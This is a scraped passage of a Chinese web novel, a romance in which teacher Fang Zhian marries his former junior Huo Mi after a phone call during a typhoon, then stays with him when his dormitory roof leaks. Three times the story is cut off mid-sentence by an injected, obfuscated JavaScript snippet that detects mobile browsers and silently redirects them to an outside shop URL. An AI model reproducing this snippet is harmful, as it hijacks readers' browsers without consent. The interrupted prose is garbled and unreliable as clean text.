但后来方知安临近毕业,考编找工作那些事就够忙了。于是他顺理成章卸下了负责人的职务,此后二人就再没联系过。 回忆到此处便戛然而止。 翌日,方知安醒后在床上懵了好一会儿,窗外雨声阵阵,越来越大的同时还伴着几道响雷。 他解开锁屏,最先跳出的信息就是学校发布的通知。 原本高三的学生需要在周日下午返校,但由于台风和降水,假期被延长到了周一,连带着老师也不用回去。 薄薄的窗帘不遮光,方知安嫌亮,抬起胳膊遮住眼。平白捡了半天假期,他也不知道该不该高兴。 人都喜欢放假,但很不巧,他最讨厌雨天。 同住一屋的政治老师昨晚回了父母家,只留下方知安一个人。他了一会儿坐起身开始洗漱做早餐,和往常没什么不同。而这时他的手机却突然一响,是霍觅发来的消息。 【20级金融霍觅:学长早上好啊】 方知安有点意外,叼着早餐吐司打字。 【圆:早上好。】 方知安咬了口吐司,还没看清霍觅的下一句就接到了舅妈打来的电话。 祝莉语气试探,她问:“知安啊,你最近和小何是不是没联系了啊。” “没有,怎么了舅妈?” “其实也没什么,就是我还认识个不错的小伙子,是个公务员,工作很稳定的。”祝莉得到了肯定的答案,于是放心把话说了出来。 方知安静默片刻,坦言道:“舅妈,我最近没这个心思,也不想去相亲,您就别费心了。” 祝莉一噎,她这人爱操心,管得宽,但偏偏有时候自己不觉得。方知安难得明确拒绝,祝莉这才意识到自己的冒失。 “抱歉啊知安,是舅妈太心急,”祝莉的声音夹在雨里朦朦胧胧,“你就当我没说过,别放心上啊。今天刮大台风呢,你记得关好窗子,我记得你之前说那边会漏水来着。” “嗯,我知道了。”方知安应声,“你们出门也要注意安全。” 电话短暂,但雨一直下。 方知安挂断后拿出电脑备课,手机躺在小桌板上断断续续地响,那些都是霍觅发来的消息。 这人明明是老板,却抽出空和方知安有一搭没一搭地聊了起来。 他给方知安发了自己的中饭,桌上的资料,那样子有些像报备。 【圆:你为什么要给我发这些?】 【20级金融霍觅:我想你可以先体验一下】 体验什么?方知安看着消息思考。 很快,他便意识到了霍觅所说的体验或许是结婚。思及此方知安不由失笑,他没想到结婚也有体验卡。 他窝在沙发里,把以前的霍觅和最近再见到的霍觅细细对比,发现确实大不相同。虽说外头都裹着正经,但以前的霍觅太冷太独,现在的反倒升了温,变得很暖和。 到了傍晚霍觅说自己要去开会,暂时下了线,而方知安刚整理完下周要用的材料,没忍住在沙发上打起了瞌睡。 他闭上眼还没几分钟就被刺耳的电话铃声搅醒。银色的雨丝在黑暗中闪动,方知安睡得迷迷糊糊,连名字都没看就接了起来。 陈建沙哑的声音突兀响起,他醉醺醺的,口齿不清道:“喂!小兔崽子,听得见不!” 方知安一下清醒,他脊背僵直,看着来电人那显眼的“父亲”两字不发一言。 陈建得不到回音愈发得寸进尺,他大声嚷嚷:“老子给你打、打电话你知不知道,之前装死,故意不接啊?现在屁都不放一个,你以为、你是谁?!” 方知安的呼吸变得急促,他没有开口,死死盯着面前的手机。 毫无底线的辱骂仍在继续,陈建的污言秽语冲撞着闯入方知安的耳朵。 不知过了多久,大概是陈知洋发现了他爸在干嘛,他一把夺走手机,冷冷地扔下了一句话:“爸这个月的赡养费你记得打,挂了。” 室内蓦地恢复寂静,方知安只觉得胸闷得厉害,急切地想要寻找一个宣泄的豁口。 他站起身,推开窗露出一条缝隙,带着泥土腥味的风夹着雨丝往里钻,方知安打开手机通讯录,霍觅自己输入的电话留在最上面。 打还是不打?方知安眼里犹豫闪动。 就在这时,一颗不大不小的雨水垂直落下,正好覆盖在了霍觅的名字上。 他的反应慢了半拍,没熄屏就想擦去那滴水,等到手再挪开,电话已经拨出去了。 忙音很短,霍觅几乎在拨出的后一秒接起了电话。 “学长,怎么了?”霍觅问他,语气有些意外。 方知安没想到事情会这么巧,他连忙解释:“刚才我不小心按到了,有没有打扰到你?” 霍觅没有质疑他的说法,“没有,我刚出会议室,你吃晚饭了吗?” 方知安想着既然电话已经打了出去,那聊会儿也没什么。 “我刚吃,你呢?” “我还没来得及,项目出了点问题,今天被迫加班了。” “当老板的也会这样吗。”方知安说这话的时候站在窗边,外头的雨丝几乎擦着听筒落下。 霍觅耳朵尖,以为方知安台风天还往外跑,话题立马一转:“你在外面?今天台风不安全,你别到处跑。” “出门带伞了吗?” 方知安闻言垂眸,眼睫遮出一片阴影,他说:“带了,我这边雨不大。” 他将错就错给出回答。 方知安靠着窗框,这本是潮湿讨厌的雨天,甚至夹杂进了一堆他不想处理的烦心事。但不知为何,低落心情忽然在霍觅的话语里得到了回升,现在看来一切好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073668|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没那么糟。 天平原本摇摆不定,但在这一刻,那枚决定一切的砝码却无声下落。 他这人循规蹈矩过了二十八年,从没做过出格的行为,而现在,他却离经叛道一回。 于是,霍觅毫无防备地听见方知安说:“霍觅,你昨天说的,我考虑好了。” 霍觅那头传来一声椅子划地的声响,再开口时他的声音有些哑:“你确定了吗?” “确定了。”方知安视野中囊括了远处天际的水幕,“但是......我身上毛病很多,性格不好,原生家庭也很糟糕,或许某天他们还会给你带来麻烦。” “霍觅,你真的不会后悔吗?” 霍觅那头静了静,方知安心里一紧刚想说“算了”,就听见他坚定开口。 “学长,其实我知道的事比你想象的只多不少。我既然说要和你结婚,那就不可能后悔。从始至终我考虑的对象就只是你,不包括任何其他,因为我知道那些东西无论如何都不会影响我。” 方知安顿时说不出话。 霍觅还在继续,“你说自己性格不好,但世上本来就没有完人,我也一样,甚至我的毛病比你更多。我们缺少的,只是磨合的时间而已。” 这些话像钥匙,彻底解开了听着的顾虑。方知安认真说说:“那我确定,我考虑好了。” 他紧接着说:“那结婚,需要我做什么?” “或许我们需要先领个证。”霍觅说。 方知安一怔,问他:“你想什么时候去?” “看你方便,我都可以。”霍觅说。 “要不......大后天吧,那天下午我没课,正好是工作日。”方知安提议,“会不会太快了?” “不会,”霍觅应声,“要我来学校接你吗?” “没事,我自己过去就好。”方知安突然想到什么,“拍结婚照的话是不是要穿西装啊?” 霍觅原本坐在办公桌前,但现在却按捺不住地走到了窗边,雨水在窗上结成一片,他说:“不用在意这个,你穿的舒服就行。” “那我们后天下午见?”方知安问。 “嗯,”霍觅很快应下,方知安将要挂电话的时候他又突然将人叫住,“学长,为什么突然考虑好了,我以为还要等很久。” 霍觅的声音低沉好听,方知安手机放得近,莫名觉得有些耳热。 方知安没提别的,只是跟他开了个玩笑:“我也不知道,说不定是你的体验卡起效果了。” * 觅途,总裁办公室。 姜卓推门进了总裁办公室来送资料,他是霍觅的秘书,每天和老板接触的时间最长,按照惯例,这个点霍觅应该在桌前处理当天的报表。 但今天似乎是个例外。 明亮的灯光里他看见霍觅立在窗边,眼角眉梢挂着笑。 姜卓很少见到老板这个样子,因此有些新奇。 不过他好奇归好奇,事实上并不会贸然僭越,也不会过多询问。 霍觅收起手机回到座位,他问姜卓:“29号下午我有事吗?” 姜卓看了眼备忘录,一板一眼回答:“您有一个部门会议,前天和人力资源总管一起定下的。” “推了,时间都帮我空出来。”霍觅毫不犹豫,琢磨起了自己明天要打什么颜色的领带。 “好的。”姜卓很快应答,那个部门会议不是什么大事,就算推了也没关系。 他面色如常,将手中的资料放上办公桌就想离开。 “你不问我那天要做什么?” 霍觅开口,姜卓的脚步一下顿住。 老板真是难搞。 秘书再懂事也没用。 姜卓面不改色,马上补充问道:“那您要去做什么呢?” 霍觅满意了,唇角上扬:“我要去结婚。” 5. 可以抱吗 虽然霍觅在电话里说没关系,但到了领证当天方知安还是穿得很正式。这是他和霍觅人生中的大事,理应需要仪式感。 只不过上课打领带有些奇怪,未免学生注目,方知安把领带放进了包里,准备下午再拿出来用,而夹层的另一边则放着他的户口本和身份证。 杭城的台风一向雷声大雨点小,等风刮到城里,只剩下了些雨丝风片。 周日学校放了假,虽说之后还会有持续降水,但周一学生返校是板上定钉的。 高三的时间紧张,哪怕半天的变故都会打乱学习进度。方知安泛着困,监督完早自习才发现太阳已经冒出了头,有些学生原本还抱着不可说的期待,这下全都落空了。 方知安早早请了假,把班里的纪律工作托付给了向来靠谱的班长。 旁边的老师耐不住好奇,问他:“小方今天要去干嘛,怎么神神秘秘的。” 方知安笑笑,说:“家里有事。” 午间时分气温高得令人咋舌。学生们嫌热,空调开了就没停过,方知安出发前又去班里看了一眼。 一个班四十多号人,自习的自习,睡觉的睡觉,很好。 开车后那种不可思议的感觉再度上涌:自己居然真要结婚了。 他没通知任何人,不论是舅舅一家还是亲近的朋友,他谁也没说。 这个出格的决定完全由他个人做出,换做以前方知安或许会觉得自己疯了,但现在么—— 他踩下油门,只觉得疯一次又如何? 昨日的情绪依旧残留,现在临到头,方知安心中期待感反倒胜过了对未知的惶然。 路上有点堵车,方知安给霍觅拨了电话。 “我这边堵上了,你要是先到了可能得等我一会儿。”方知安说。 “没事你慢慢来,”霍觅那头传来一声关车门的声音,“我刚到,不急。” 堵了几分钟,方知安被迫吃到几个红灯,到了民政局附近他转悠了几圈才把车停好。 忙不迭打上领带下车,方知安一进大厅就看到了霍觅。 “学长,”霍觅冲他招招手,“来这里。” “抱歉,找了一会儿车位耽误了。”方知安小跑了一段,声音有点喘。他有些不好意思地朝霍觅笑了笑,清润的瞳孔乌亮,眼角微扬。 靠近后方知安才发现霍觅今天似乎也精心捯饬过自己,他的头发用发胶抓过,那些细小的碎发被整理好,每个地方都恰到好处。他的脸上没有任何遮挡,眉眼深邃,无可挑剔。 方知安不得不承认,哪怕不说别的,霍觅的长相也很合他胃口。 “还没到两点,是我到早了。”霍觅瞧见方知安额角的细汗,“我们先去拍照吧,这里离门口近,怪热的。” 大多数人结婚都会拿着外头拍好的精修照来领结婚证,但他们俩都不太在意这个,既然民政局里也可以拍,那就不用再多跑一趟。 摄影师是个年轻的小姑娘,她看看霍觅又看看方知安,脸上有点红。 虽然同性婚姻法已经出台了好几年,但来领证的依旧是少数,因此她很少见到同性伴侣,更何况是长得那么出挑的一对。 “那个,你们头还可以挨近一点。”拍摄过程中小姑娘红着脸提议。 “哦好。”方知安闻言马上往霍觅身边挪了挪,不知是不是错觉,他蓦然觉得身边的人一瞬间紧绷了起来。 “这样可以了吗?”方知安问小姑娘。 小姑娘刚想说可以,结果又从镜头里找出一个问题,她说:“右边那位先生,你的领带有点歪,可以再弄弄正。” 右边?方知安想了想,那就指的是自己。 他低头,发现自己的领带果然偏了一些,大概是刚才下车时过于匆忙,以至于没注意到。 方知安刚想调整,就听见耳边响起霍觅的声音:“我帮你吧。” 他的声音有些低,呼吸落在方知安颈边扰得人脖子泛痒。 方知安没拒绝,随后霍觅直接侧身解开了方知安系的歪歪扭扭的领结。领带散开,他的手指快速穿梭,很快就完成了一个标准的半温莎结。 面前修长的手指偶尔蹭到他的喉结,方知安下意识屏气。 他半偏着头,霍觅认真的神色被他尽数收入眼中。 方知安分不出这打的是什么结,但看得出比自己原先的更标准,更漂亮。 打完后霍觅顺手理了理他的领口,笑着说:“好了,很漂亮。” 也不知道在说谁。 这下紧绷的人倒了个个,方知安和霍觅肩碰着肩,背后是一片正红的幕布。 小姑娘看着刚才那一幕心跳骤然加快,憋红了脸,最后在一声“茄子”里按下了快门键。 领结婚证的过程不长,红本子被递到手上的时候方知安翻开看了一眼。 那张结婚照并不比外面拍的差,红色的背景也不显突兀,方知安觉得还挺好看的。 工作人员笑着开口:“祝两位百年好合。”说着话,他扫了眼面前两个大男人,把后半句早生贵子咽了下去。 方知安眉眼弯弯道谢:“借你吉言。” 霍觅的目光则像羽毛一样,飘飘然落在方知安身上,但当事人却没有察觉。 走到大厅,耀目的阳光投射而进,近乎占领整片区域。 昨夜听着雨,方知安说出要结婚的话时心里明镜一片,但此时又没有那么平静。 眼下他终于和霍觅最终践行了那所谓最稳妥的负责方式,来路怎样却是未知。用一段婚姻关系将两个原本半生不熟的人重新连到一起,方知安无法断言这样的婚姻是好是坏。 但撇去这些不谈,方知安就算是出于本能,也会用心去经营这段感情。 霍觅曾说他会是个不错的对象,但方知安并不认为自己在这一块儿会逊色于对方。如今他们的婚姻已成为既定事实,他自然不会再犹疑,只不过......他还需要一些时间去适应这突如其来的新身份。 两人站在太阳照不到的阴影里,霍觅偏头问他:“学长,你有想过要办婚礼吗?” 方知安思索片刻,问:“你想办吗?” 霍觅看着他,“梁巡说高三特别忙,我们可以等你空下来再说。” 霍觅这么迁就,方知安反倒不好意思,“这样会不会不太好?” 霍觅说:“不会,但是过几天你能不能和我回趟家,我爸妈想见你。。” “你父母知道我们的事吗?”方知安想到霍觅结婚的一部分原因。 霍觅像是看出了他的顾虑,因而解释道:“我父母思想挺开明的,我跟他们说我们是相亲认识的,程序非常合法合理,你放心。” 方知安闻言“噗嗤”一下笑出了声。 霍觅也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073669|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾起唇角,他继续道:“只是在一起吃顿饭,平时我们不住在一块儿。对了学长,你现在就住在职工宿舍那边吗?” 方知安说:“嗯,怎么了?” 霍觅认真问:“你考虑和我同居吗?” 方知安之前就思考过这个问题,他斟酌着说:“我们先磨合一段时间再说,怎么样?” 霍觅敛起那些微不可察的不情愿,体贴道:“好的。” 话音刚落,他又问:“晚上一起去吃饭吗?” 方知安无奈道:“今天恐怕不行。晚上我要回学校管晚自习,学生等着呢。” 他算了算时间,现在回学校应该还能赶上教师食堂的晚餐,正正好。 他将结婚证放进包里,看向霍觅,“那我先走啦,有事就给我发消息。” “没事也能发。”方知安想到霍觅之前那些照片,又提了一嘴。 “等一下,”见人要走霍觅抿了抿唇,“我可以抱你一下吗?” 他眉眼低垂,不知是不是天生的,眼眶总带着一些不起眼的红。方知安离得近,将它看得很清楚。 他一愣,随后很快回过神,与那一天相同的熟悉的负罪感又再度出现。 霍觅说完后就静静等待着,他比方知安高出不少,视野里属于方知安的柔软黑发动了动,然后他就看见方知安跨出一步,下一秒很轻地抱了抱他。 “这样可以吗?”方知安把握着分寸,确保这个拥抱不会太亲密也不会太生疏。 他仍在寻找平衡,而从霍觅的表情上看他应该是满意的。 “当然可以。”霍觅勾唇,那道属于方知安的热意短暂靠近又离开,空气里只剩下一点干净的香气。 “那我走啦?”方知安后退一步,拉开了和霍觅的距离。 “......嗯。”霍觅攥紧了手里的结婚证,“路上小心,到学校了跟我说一声。” “好。”方知安说。 * 方知安前脚回学校,后脚就在走廊上遇到了梁巡。 “诶,方老师您今天好帅啊。”梁巡跟一旁的男生打闹着,看见方知安就自觉停了下来。 “是吗,跟你哥比谁帅?”方知安还记得梁巡当时对霍觅的介绍,于是调侃道。 梁巡呆了两秒,最后在老师和老哥之间做出了选择,一拍脑门,他说:“那肯定是方老师你啊!” “不过——”梁巡忽然想到什么,“方老师你这个这个领结打得真标准,手法比我哥还好。” “哈哈哈,他天天打,还比不上方老师。” 方知安闻言心虚地摸了摸鼻子,离校前他只算得上梁巡的老师,至于现在......事情有点复杂,也不知道霍觅有没有和梁巡说过。 方知安避开梁巡的视线快步进了办公室,回到座位就拿出手机给霍觅发了消息。 【圆:我刚到学校,一切顺利,ps:你有和梁巡说过你结婚的事吗[抹汗/]】 霍觅很快回了消息,现在他在方知安这的备注已经删去了久远的前缀。 【霍觅:没,下次回家再说,不急】 【霍觅:他也会很喜欢你的,我看他还挺喜欢学历史的[玫瑰/][玫瑰/]】 方知安看着霍觅火红的玫瑰表情,又想起梁巡每次背诵时苦哈哈的神态,在心里静静祈祷,希望这是一个惊喜而非惊吓。 6. 这房漏水 虽说方知安做了不少心理建设,但领证来得突然,他需要慢慢摸索。跟以前读书那会儿一样,他给未来先列了个简单的计划表。 了解,磨合,再到同居,方知安心里想的顺序是这样的。 领证当天他回家一下子没睡着,闭上眼就想起白天那个拥抱,霍觅身上的味道简单干净,还挺好闻。 结婚证被他放在床头柜里,和众多荣誉证书混在一块儿,红得很和谐。 第二天方知安醒得早,但霍觅这个当老板的也不遑多让,他凌晨四点就给方知安发了消息。 【霍觅:今天去s省出差,傍晚回来】 【霍觅:给方老师报备一下】 方知安感叹了一句老板真忙,回了个OK的手势就出了门。 但今天方知安有点点背,快到学校时天上下起了雨,他跑着进了教学楼,衣服却仍旧逃不过被淋湿的命运。 白天他有四节课,除此之外还有个年级会议,中午连饭都没吃两口就赶去了行政楼。以前读书的时候他觉得高中大点气派,现在教了几年书已经彻底转变了观念,要是一个学校从前门就能望到后门,那老师和学生不知道能省多少力气。 霍觅的工作似乎很忙,白天一直没发消息,直到下午才打来一个电话。 “学长?”霍觅那头人声嘈杂,“你下班了吗?” “还没,我还在学校。”方知安从办公室推门出去,找了个没人的角落接电话。 “我原本想赶回来和你一块儿吃的,但是合作方不太给面子,好像来不及了。”霍觅抱怨着说。 他身边的姜卓掉了一地鸡皮疙瘩,不知道这凭空出现的老板娘究竟是何方神圣,居然能让老板这么肉麻说话。 至于霍觅说的话那更是离谱。 姜卓默默在心里吐槽,也不知道是谁刚才脸冷的能结冰,连带着整个会议厅的人都大气不敢喘一个。 方知安对此一无所知:“没事,下次也行,你先工作吧,正好晚上我约了朋友到家里吃饭。” “朋友?”霍觅很快捕捉到关键词,“是什么朋友啊,下次可以带我认识吗?” “当然了,你应该也认识他的,当时我们还在一个社团呢。”方知安欣然应允,“他叫余思雨,你记不记得?” 霍觅那头静了下,随后又恢复了正常:“啊,我记性不好,忘得差不多了。” 这样吗,那怎么还记得我? 不过这话方知安只在心里想了想,没问出来。 等他再回到办公室,另外几个老师的眼神都不约而同地往他身上聚,其中数学王老师率先开口:“小方,有情况?” “看这样子肯定错不了,我以前接老婆电话也要躲外边去,脸皮薄,不好意思让人听见。”另一个老师也跟着逗。 方知安可扛不过这群人,他没否认,但也没把话说全,只笑道:“我脸皮薄,大家放我一马。” 众人会心一笑,也没再多说。 傍晚天上那点雨开始变得急促,方知安从办公桌拿下抽出一把积灰的长柄伞,撑开后提着裤腿往回赶。 他住职工宿舍,虽说生活条件不算太好,但周围是老城区,以前还是市中心,各种基础设施都很完善。 想着余思雨要来做客,方知安特地绕路去买了点菜,今天同住的那个老师依旧不回来,这房子里还是只有他一个。 方知安以前读书的时候不大爱说话,对跟人交朋友这事也不热衷。大学分寝,他和余思雨成了室友。二人性格一个沉静一个闹腾,倒也算是默契合拍,没多久就成了朋友。 毕业后他跟其他人联系不多,唯独和余思雨关系一直很铁。 他在高中当历史老师,余思雨则考了公,跑到政府工作去了。两个人都没对象,有时候下班了经常会一块儿聚餐。 方知安这边才刚放下菜,房门就被敲响了。他弯着腰看猫眼,一开门,外头果然是余思雨。 “诶呦我去,这雨神经吧,突然变大浇了我一头,”余思雨把滴水的伞放在门外,换了双拖鞋,“我身上全湿了,真黏糊。” 方知安看着眼前落汤鸡一样的人十分不道德地笑了,他说:“你快进来吧,等会儿就干了。” “你说这天是不是有病,昨天还大太阳呢,今天又大暴雨。”余思雨跑进厕所拧干了自己的外套,他没事就爱往方知安这跑,因此对这的构造很熟悉。 方知安懒得管他,径直拐进了厨房烧饭。他这些年都自己烧饭,手艺尚可,称得上一句好吃。 余思雨也是蹭饭蹭习惯了,往沙发上一躺就开始犯困,打了个盹,直到饭香盖不住了才起来。 “圆圆啊我真是不能没有你!”他激动地搓搓手,面对满桌饭菜口水都快流下来了。 方知安面色一变,送了他个脑瓜崩,“不准叫我小名,不然下次别来吃饭了。” 余思雨哼哼两声,不以为意。 他吃得正欢,方知安却放下了碗筷,那面色,欲言又止。 “你咋了,有话就说,和我有什么不能说的?”余思雨瞟了他一眼。 方知安眨了眨眼,他说:“那我们事先说好,不生气,不追问,不打人。” “嗯哼,搞这么郑重啊,你说吧。” 方知安看他这样子,润色了一下开口道:“我结婚了,就在昨天。” “哐当——!”余思雨手里的碗砸到了桌上。 “你说什么???”他目眦尽裂。 “你再说一遍?你结婚了?不是,你怎么就结婚了?和谁?” 这一连串问题让方知安不知从何答起,不过他知道余思雨就这脾气,因此心里也早有准备。 “你先冷静一下,我慢慢和你说。”方知安示意他别激动,随后略去一些关于何泽的细节后,将这几天的事复述了一遍。 余思雨全程瞪大眼睛看着方知安,嘴巴张开又闭上,闭上又张开。 最后方知安说到昨天领证那事,余思雨彻底疯了。 “这么大个事你瞒这么好?结婚对象还是霍觅,觅途那个新老板??”他也顾不上吃饭了,坐位置上盯着方知安跟审犯人似的。 方知安摊手,他说:“现在我不还是告诉你了吗?再说霍觅你又不是不认识,他还挺好相处的,比以前开朗不少。” “呵呵,我要这么有钱我也会很开朗的,”余思雨不忿,调整了坐姿,“不是,圆圆你懂不懂那是个多大的公司?” “多大?”方知安问。 余思雨也不客气,他指了指面前盘里还没小指粗的牛肉丝,说:“比如说这是你一年的工资。” 方知安点点头。 然后余思雨接着说:“那他一年能赚的钱估计就是一群牛,我说你不会没概念吧?” 方知安摇摇头。 他从来不太关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073670|149406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注这个,钱财对他而言不是最重要的,关键时候够用就行。因此霍觅当初把自己公司资料发来他也没多吃惊,那毕竟是霍觅自己的事业,虽然结了婚,但方知安总觉得和自己关系不大。 他们俩就这事展开聊了点,余思雨这人气性来得快去得也快,没一会儿就彻底冷静了。 “那他对你好不好啊,你别被人拐去了。”余思雨不平。 方知安失笑:“没有的事,目前来说么......我俩挺好的,就是还不太熟。” “你,既然都这样了,那走一步看一步吧。不过他要是对你不好,你可千万别犹豫。”余思雨重新拿起碗筷。 方知安也不多保证什么,只撑着头笑了笑,说:“那肯定。” 原本饭后余思雨就要离开,结果不知怎的,方知安卧室那块的房顶开始漏水。外头的雨越下越大,里面也湿淋淋的,根本没法休息。 方知安住在这栋楼的顶层,以前就遇上过这事,只不过没这次严重。余思雨原本准备要走,瞧见这情况又留了下来。 “你这房间还能住人?”余思雨蹙眉,“要不今晚你去我家吧。” 方知安摇头拒绝,他不爱给人添麻烦,余思雨现在的房子是跟人合租的,他贸然前去不方便。 “那你去霍觅那?毕竟你俩都结婚了。”余思雨灵机一动。 方知安犹豫片刻,还是没答应:“他今天出差不在杭城,实在不行我出门找个酒店吧,总不至于没地方睡。” 余思雨闻言撇撇嘴,结果他说曹操曹操就到,这边房顶还在不间断漏着水,那头方知安就接到了霍觅的电话。 “学长,你还在和朋友吃饭吗?”霍觅问。 “已经吃完了,他快走了。”方知安开了功放,一边收拾床单一边回。 他把手机放在一旁的小桌板上,离漏水的地方不远。 “学长你那什么声音,怎么滴滴答答的。”霍觅敏锐问。 方知安本来不想多说,但奈何旁边的余思雨听到了,大声喊了句:“他这房漏水!” 余思雨嗓门大,霍觅听得一清二楚。 “你那边漏水?”霍觅一下醒了神,“今天雨这么大,我过来接你,你先住我那吧,好不好?” 方知安面露犹豫,霍觅没等到回音,又补充道:“我已经回杭城了,很快就到。” 他软着语气问,倒也不像命令,反而像是请求。 方知安也不知自己怎么想的,耳边是霍觅的声音,他还没回过神,一句清楚的“好”就说了出去。 “......” 电话挂断后很长一段时间余思雨都陷在沉默里,他脸色变了又变,像是吃到了臭鸡蛋。 方知安收拾着要带的东西,转身看余思雨面色不对,问道:“你怎么了?” 余思雨心里吐槽不断,什么人这个年纪了还这么肉麻? 三句话不离“学长学长”,那语气腻死人。 但考虑到对方毕竟是方知安现在名义上的伴侣,他末了只从齿缝里挤出了一句:“没,没什么。” 方知安没来得及疑惑,宿舍的门就响了起来。 他心跳莫名一快,按住把手打开门,夜风吹进,霍觅站在门外,微湿的黑发垂下,遮住了他眼中星点的笑意。 不知从哪里赶来,他肩上洇出一片水痕,但此时霍觅毫不在意,只说:“学长,我来接你了。” 7. 睡觉去吧 “哈哈,内个,既然人来了,我就先走了哈?”余思雨深觉氛围不对,站在方知安身后探出半个脑袋。 霍觅还在门外,看见余思雨后眉梢轻抬。 他眉目深邃,浅棕的瞳仁中透出一些莫名的情绪。楼道灯光昏暗,余思雨被看得全身一凛。 霍觅现在这样子,像极了他单位里的领导,一个个跟冷面阎王一样不近人情,看得人发虚。 方知安对空气中的暗流没一点察觉,“那你把桌上的水果带回去,路上小心。” “知道了,”余思雨搓了搓胳膊拎起水果,穿完鞋又回过头,“你安顿好了跟我说一声,不然我不大放心。” “嗯,知道了。”方知安应声。 余思雨下楼,霍觅放松地靠着门框问:“学长,我可以进去吗?” 方知安想着东西还没收拾好,于是马上说:“快进来吧。” 霍觅脱下西装外套搭在臂弯里,依言进了门。方知安猫着腰,想从门口鞋柜里给他翻出双拖鞋,但最后只从角落里翻出一抹粉色。 于是,刚才还一身风度的霍总,这会儿就踩上了那双印着hello Kitty的粉拖鞋。 方知安腼腆地笑笑,“不好意思了,只有这双是新的,以前我表妹送我的,你将就一下。” 霍觅倒不甚在意:“能穿就行,这还挺可爱的。” 他侧头,瞥见旁边的墙上靠着个袋子,袋子最顶上露出了毛巾的一角,里面装的大概是方知安的换洗衣物。 “是哪里在漏水,方便带我看看吗?”霍觅问。 “当然可以,主要都在卧室。”方知安将裤腿的下摆卷起,领着霍觅进了房间。 一开灯,映入眼帘的就是地上的一滩水以及湿透了的床褥被单。方知安睡觉工作那块儿地方更是重灾区,完全没法待人。 “卫生间和厨房也有点,我刚给学校维修的打了电话,但今天雨太大,他们估计过不来。”方知安没想到霍觅那么快就赶了过来,“今天麻烦你了,这么大雨还跑一趟。” 霍觅原本眼角带着笑,一听见方知安的话,那些笑意就淡了不少。 他转身,低下头,语气里带上了点问责的意思:“学长,你原本是不是没打算告诉我房子漏水这事?” 方知安站在门边,霍觅离他只有一臂远。 “我......” “可我们昨天不是领证了吗?”霍觅的语气像是询问,“学长,遇到问题,你或许可以试着找我。” 他的西装外套里面是一件白衬衫,此时肩膀的位置已经湿透,大概是刚才淋的雨。他比方知安高出好几公分,肩背宽阔,此时湿淋淋地垂着头,像是受了什么的委屈。 方知安这下突然不善言辞起来,任何一段亲密关系的培养都需要时间,他和霍觅的接触突兀又短暂,因此在这样的情况下,霍觅确实不在他可以选择的求助对象前列。 他在这方面没什么经验,只觉得自己这次似乎是做错了。 “我以为你还在出差,就不想打扰你工作,”方知安解释着,“下次有事我一定告诉你。” “是吗,”霍觅看着他,一幅不敢轻易相信的样子,“口说无凭,你得保证。 “我保证!”方知安立马顺着台阶下,抬起胳膊做了个发誓的手势。 “那最近这几天你都跟我住一块儿,好不好?”霍觅抓住这势头接着问,没给方知安思考的间隙。 “......好。”有了前车之鉴,方知安答应得爽快。 再说他本就要去叨扰霍觅,一天和几天,差别似乎也不大? 这房子现在几乎漏成了筛子,就算要维修也不容易。天气预报说后面几天依旧要下雨,去霍觅家暂住成了眼下最好的选择。 除了门口的衣物,他又拿了两件短袖。至于其他贵重物品,方知安都转移到了不漏水的干燥柜子里,离开的时候他拿了个双肩包,里面装着历史课本、相关资料和他的笔记本电脑,算是他上班的身家性命。 下楼的时候霍觅帮他提了行李,方知安一边用力踏楼梯踩出声控灯,一边腾出手给室友发了个消息。 职工宿舍条件一般,室友家在本地,原本就不想回来,一听到这里漏水更是铁了心要住家里。 方知安回完消息把手机揣进兜里,楼下已经开始漫水,外头是厚重的夜色和雨幕。 “你车停在哪啊?”方知安靠近身边的人问道。 霍觅撑开伞,指了指不远处的黑色的迈巴赫,说:“那边,我们快点跑过去就淋不到了。” 两人撑着一把伞跑过去,霍觅先让方知安进了后座,自己把行李放好后才进车。 这辆车大概是霍觅上班出差用的,后座很宽敞。他把滴水的伞放到了一边,肩膀自然而然地和方知安挨在一起。 而方知安看着坐在身边的霍觅,后知后觉意识到车里原来不止他们两个。 亲眼看着老板着急忙慌从机场赶到城区,又火急火燎上楼的姜助理已经大致摸明白了情况。 他坐在副驾,看准时机问:“您和方先生现在回云湾吗?” “嗯,直接过去。”霍觅抽出两张纸巾递给方知安,刚才跑得急,他们的裤腿都湿了。 “好的。”姜卓问完一旁的司机就打转方向盘。 方知安看着前排两个后脑勺,压低声音问霍觅:“他们是......?” “我的助理和司机。”霍觅简单介绍了一下。 姜卓是个人精,听着后边的动静他立马接上:“方先生你好,我叫姜卓,是霍总的助理,旁边这位是老刘,霍总出行都是他开车。” 